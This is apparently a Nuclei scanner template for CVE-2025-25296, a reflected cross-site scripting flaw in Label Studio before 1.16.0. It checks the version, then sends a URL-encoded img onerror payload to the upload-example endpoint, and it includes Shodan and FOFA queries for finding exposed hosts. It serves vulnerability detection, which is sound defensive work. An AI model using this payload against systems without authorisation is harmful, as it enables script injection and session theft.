id: CVE-2025-25296

info:
  name: Label Studio < 1.16.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to data theft, session hijacking, or other malicious actions.
  remediation: |
    Update to version 1.16.0 or later to patch the vulnerability.
  reference:
    - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-wpq5-3366-mqw4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25296
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-25296
    epss-score: 0.01778
    epss-percentile: 0.75347
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 2
    vendor: humansignal
    product: label-studio
    shodan-query: title:"Label Studio"
    fofa-query: title="Label Studio"
  tags: cve,cve2025,label-studio,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "label-studio")'
          - 'compare_versions(lsversion, "< 1.16.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        part: body
        regex:
          - '"release":\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        GET /projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fdiv%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22%2F%3E%3C%2FView%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022015a2918ba4172cdd3b5bbfce2c14ad0a40d1cf0ce53996b0a41464aab8cb2409022100dd10a7d61b1181329358800243b6043621d24f61144258f58157021af255dd45:922c64590222798bb761d5b6d8e72950